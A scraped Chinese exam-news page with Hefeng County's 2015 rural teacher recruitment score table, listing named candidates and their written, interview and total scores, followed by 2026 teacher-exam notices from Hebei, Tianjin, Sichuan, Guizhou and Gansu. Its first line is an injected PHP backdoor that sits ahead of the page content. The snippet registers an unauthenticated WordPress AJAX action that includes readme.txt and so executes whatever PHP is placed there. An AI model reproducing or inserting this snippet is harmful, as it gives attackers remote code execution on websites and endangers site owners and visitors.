if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖北省鹤峰县2015年特岗教师招聘总成绩公示-全国教师资格考试网

湖北省鹤峰县2015年特岗教师招聘总成绩公示

鹤峰县2015农村义务学校教师公开招聘总成绩公示

姓名 报考级别 报考学科 笔试成绩 笔试成绩40% 面试成绩 面试成绩60% 总成绩
黄开蓉 鹤峰农村中学 初中语文 70.15 28.06 71.6 42.96 71.02
李茜 鹤峰农村中学 初中语文 66.25 26.5 65.4 39.24 65.74
谷苗 鹤峰农村中学 初中语文 64.5 25.8 70.2 42.12 67.92
张玉 鹤峰农村中学 初中语文 64.35 25.74 67.4 40.44 66.18
于莉 鹤峰农村中学 初中语文 64.35 25.74 70.4 42.24 67.98
陶冶 鹤峰农村中学 初中语文 64.35 25.74 74.2 44.52 70.26
田敏 鹤峰农村中学 初中语文 63.05 25.22 72.4 43.44 68.66
田满 鹤峰农村中学 初中语文 62.25 24.9 0 0 24.9
李超权 鹤峰农村中学 初中语文 61.4 24.56 76.8 46.08 70.64
乐美琪 鹤峰农村中学 初中语文 61.3 24.52 0 0 24.52
王洪云 鹤峰农村中学 初中语文 60.8 24.32 70.6 42.36 66.68
孙伟座 鹤峰农村中学 初中语文 60.6 24.24 69.8 41.88 66.12
田小玲 鹤峰农村中学 初中体育与健康 56.45 22.58 73.2 43.92 66.5
汤洁 鹤峰农村中学 初中体育与健康 55.45 22.18 74.9 44.94 67.12
张梦 鹤峰农村中学 初中体育与健康 51.5 20.6 79.3 47.58 68.18
杨钊 鹤峰农村中学 初中体育与健康 51.25 20.5 72.7 43.62 64.12
田渭源 鹤峰农村中学 初中物理 59.7 23.88 82.4 49.44 73.32
余铭 鹤峰农村中学 初中物理 46.1 18.44 80 48 66.44
刘海林 鹤峰农村中学 初中物理 43.9 17.56 71 42.6 60.16
董明杰 鹤峰农村中学 初中英语 68.15 27.26 83.88 50.328 77.588
许璐 鹤峰农村中学 初中英语 63.6 25.44 73.56 44.136 69.576
许仁莲 鹤峰农村中学 初中英语 62.2 24.88 65.69 39.414 64.294
覃兰 鹤峰农村中学 初中英语 61.75 24.7 72.64 43.584 68.284
张宗蕾 鹤峰农村中学 初中英语 60.75 24.3 74.36 44.616 68.916
许春晖 鹤峰农村中学 初中英语 60.05 24.02 79.23 47.538 71.558
向红美 鹤峰农村中学 初中数学 67.85 27.14 0 0 27.14
朱泽锐 鹤峰农村中学 初中数学 56.6 22.64 72.7 43.62 66.26
向益慧 鹤峰农村中学 初中数学 53.85 21.54 68 40.8 62.34
涂玉霞 鹤峰农村中学 初中数学 53.15 21.26 77 46.2 67.46
刘芳 鹤峰农村中学 初中数学 49.8 19.92 78 46.8 66.72
文佩东 鹤峰农村中学 初中数学 48.7 19.48 60.5 36.3 55.78
胡红悦 鹤峰农村中学 初中数学 42.6 17.04 79 47.4 64.44
李渊 鹤峰农村中学 初中数学 41.95 16.78 71.6 42.96 59.74
田恒宇 鹤峰农村中学 初中数学 36.2 14.48 84 50.4 64.88
周旭军 鹤峰农村中学 初中数学 32.65 13.06 62.7 37.62 50.68
陶丹 鹤峰农村小学 小学语文 63.55 25.42 69 41.4 66.82
刘琰艳 鹤峰农村小学 小学语文 61.6 24.64 71.2 42.72 67.36
谢鑫 鹤峰农村小学 小学数学 65.4 26.16 72.6 43.56 69.72
陶安庆 鹤峰农村小学 小学数学 56.4 22.56 76.4 45.84 68.4
郑永俊 鹤峰农村小学 小学英语 61.3 24.52 70.44 42.264 66.784
田慧 鹤峰农村小学 小学英语 59.7 23.88 73.84 44.304 68.184
熊丽 鹤峰农村小学 小学英语 53.45 21.38 69.78 41.868 63.248
龚佑君 鹤峰农村小学 小学英语 51.1 20.44 72.76 43.656 64.096
彭月 鹤峰农村小学 小学美术 59.95 23.98 67.9 40.74 64.72
余静 鹤峰农村小学 小学美术 55.2 22.08 67.9 40.74 62.82
卲吉品 鹤峰农村教学点 小学语文 67.2 26.88 71 42.6 69.48
梅鹤 鹤峰农村教学点 小学语文 66.7 26.68 66.2 39.72 66.4
刘兰 鹤峰农村教学点 小学语文 66.3 26.52 72 43.2 69.72
向艳 鹤峰农村教学点 小学语文 66.1 26.44 81.2 48.72 75.16
刘娟 鹤峰农村教学点 小学语文 64.85 25.94 68.8 41.28 67.22
张晓艳 鹤峰农村教学点 小学语文 63.1 25.24 70.4 42.24 67.48
刘志银 鹤峰农村教学点 小学语文 63 25.2 72.4 43.44 68.64
刘霞 鹤峰农村教学点 小学语文 61.7 24.68 76 45.6 70.28
董阳 鹤峰农村教学点 小学语文 61.55 24.62 73.6 44.16 68.78
谷林林 鹤峰农村教学点 小学语文 61.35 24.54 78.2 46.92 71.46
彭秒 鹤峰农村教学点 小学语文 61.35 24.54 73.6 44.16 68.7
周红 鹤峰农村教学点 小学语文 61.25 24.5 70.8 42.48 66.98
黄娅 鹤峰农村教学点 小学语文 61 24.4 72.2 43.32 67.72
吴梦 鹤峰农村教学点 小学语文 60.6 24.24 74 44.4 68.64
严露 鹤峰农村教学点 小学语文 59.3 23.72 75 45 68.72
刘圆 鹤峰农村教学点 小学语文 59.2 23.68 71.6 42.96 66.64
杨艳林 鹤峰农村教学点 小学语文 58.9 23.56 73.4 44.04 67.6
张淑慧 鹤峰农村教学点 小学语文 58.6 23.44 63.8 38.28 61.72
马妍 鹤峰农村教学点 小学语文 58.3 23.32 73.8 44.28 67.6
刘海宁 鹤峰农村教学点 小学语文 58.1 23.24 69.2 41.52 64.76
谢涛 鹤峰农村教学点 小学语文 58.1 23.24 70.6 42.36 65.6
彭晓娅 鹤峰农村教学点 小学语文 57.85 23.14 75.8 45.48 68.62
王新秀 鹤峰农村教学点 小学语文 57.8 23.12 63.8 38.28 61.4
徐玲 鹤峰农村教学点 小学语文 57.55 23.02 75.6 45.36 68.38
余淑玉 鹤峰农村教学点 小学语文 56.2 22.48 0 0 22.48
张丹丹 鹤峰农村教学点 小学语文 56.1 22.44 87.2 52.32 74.76
黄琴 鹤峰农村教学点 小学语文 55.6 22.24 71 42.6 64.84
田恩惠 鹤峰农村教学点 小学语文 54.9 21.96 67 40.2 62.16
向凤玲 鹤峰农村教学点 小学语文 54.65 21.86 67 40.2 62.06
周明军 鹤峰农村教学点 小学语文 54.15 21.66 66 39.6 61.26
李春凤 鹤峰农村教学点 小学语文 53.85 21.54 72.4 43.44 64.98
黎蓉 鹤峰农村教学点 小学语文 53.1 21.24 60.6 36.36 57.6
田珧 鹤峰农村教学点 小学语文 52.65 21.06 70 42 63.06
田婷 鹤峰农村教学点 小学语文 50.05 20.02 67 40.2 60.22
王红伶 鹤峰农村教学点 小学数学 71.85 28.74 75.2 45.12 73.86
朱星 鹤峰农村教学点 小学数学 68.65 27.46 82.2 49.32 76.78
梁华 鹤峰农村教学点 小学数学 64.5 25.8 83.6 50.16 75.96
陶承 鹤峰农村教学点 小学数学 63.3 25.32 81 48.6 73.92
韩非非 鹤峰农村教学点 小学数学 58.85 23.54 79.2 47.52 71.06
刘道静 鹤峰农村教学点 小学数学 58.55 23.42 74.6 44.76 68.18
覃正丹 鹤峰农村教学点 小学数学 57.75 23.1 0 0 23.1
朱永涛 鹤峰农村教学点 小学数学 56.7 22.68 83.8 50.28 72.96
莫羽双 鹤峰农村教学点 小学数学 55.75 22.3 84 50.4 72.7
赵兴丽 鹤峰农村教学点 小学数学 55.15 22.06 82.6 49.56 71.62
覃娅妮 鹤峰农村教学点 小学数学 55 22 77.4 46.44 68.44
向艳 鹤峰农村教学点 小学数学 53.65 21.46 85.2 51.12 72.58
李沈阳 鹤峰农村教学点 小学数学 51.75 20.7 76 45.6 66.3
李玉瑞 鹤峰农村教学点 小学数学 50.95 20.38 0 0 20.38
覃慧 鹤峰农村教学点 小学数学 50.45 20.18 85.4 51.24 71.42
刘腾 鹤峰农村教学点 小学数学 50.25 20.1 81.4 48.84 68.94
吴艳平 鹤峰农村教学点 小学数学 48.65 19.46 78.8 47.28 66.74
钱建明 鹤峰农村教学点 小学数学 47.7 19.08 75 45 64.08
邓才凤 鹤峰农村教学点 小学数学 45.6 18.24 80.4 48.24 66.48
宋唯 鹤峰农村教学点 小学数学 45.05 18.02 72.4 43.44 61.46
胡维霞 鹤峰农村教学点 小学数学 45 18 74 44.4 62.4
朱琼 鹤峰农村教学点 小学数学 44.75 17.9 79.8 47.88 65.78
刘芳 鹤峰农村教学点 小学数学 44.35 17.74 80.2 48.12 65.86
龚丰 鹤峰农村教学点 小学数学 42.4 16.96 83 49.8 66.76
刘俊 鹤峰农村教学点 小学数学 42.4 16.96 78.6 47.16 64.12
甘本菊 鹤峰农村教学点 小学数学 41.1 16.44 74.4 44.64 61.08
颜代君 鹤峰农村教学点 小学数学 40.2 16.08 74.6 44.76 60.84
冉朋辉 鹤峰农村教学点 小学数学 39.75 15.9 70.4 42.24 58.14
赵倩 鹤峰农村教学点 小学英语 60.85 24.34 77.3 46.38 70.72
税华 鹤峰农村教学点 小学英语 58.25 23.3 73.82 44.292 67.592
何彩虹 鹤峰农村教学点 小学英语 56.6 22.64 78.6 47.16 69.8
吴淑姿 鹤峰农村教学点 小学英语 55.85 22.34 69.97 41.982 64.322
张玉林 鹤峰农村教学点 小学英语 55.3 22.12 69.41 41.646 63.766
李金艳 鹤峰农村教学点 小学英语 53.8 21.52 82.18 49.308 70.828
熊艳明 鹤峰农村教学点 小学英语 53.6 21.44 79.66 47.796 69.236
张金念 鹤峰农村教学点 小学英语 52.5 21 70.63 42.378 63.378
石慧 鹤峰农村教学点 小学英语 51.9 20.76 70.09 42.054 62.814
李向娜 鹤峰农村教学点 小学英语 51.25 20.5 71.89 43.134 63.634
戴忠杰 鹤峰农村教学点 小学英语 50.9 20.36 75.1 45.06 65.42
付洪芳 鹤峰农村教学点 小学英语 50.75 20.3 72.99 43.794 64.094
刘蓉 鹤峰农村教学点 小学英语 50.35 20.14 71.17 42.702 62.842
彭梅芳 鹤峰农村教学点 小学英语 49.75 19.9 70.57 42.342 62.242
方圆 鹤峰农村教学点 小学英语 48.95 19.58 68.22 40.932 60.512
雷丹 鹤峰农村教学点 小学英语 47.75 19.1 72.36 43.416 62.516
肖尊俊 鹤峰农村教学点 小学英语 47.4 18.96 74.16 44.496 63.456
秦婕 鹤峰农村教学点 小学英语 47.25 18.9 69.94 41.964 60.864
程远征 鹤峰农村教学点 小学美术 53.7 21.48 78 46.8 68.28
张建 鹤峰农村教学点 小学美术 53.65 21.46 72 43.2 64.66
林丹丹 鹤峰农村教学点 小学体育 51.3 20.52 75.7 45.42 65.94

 

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部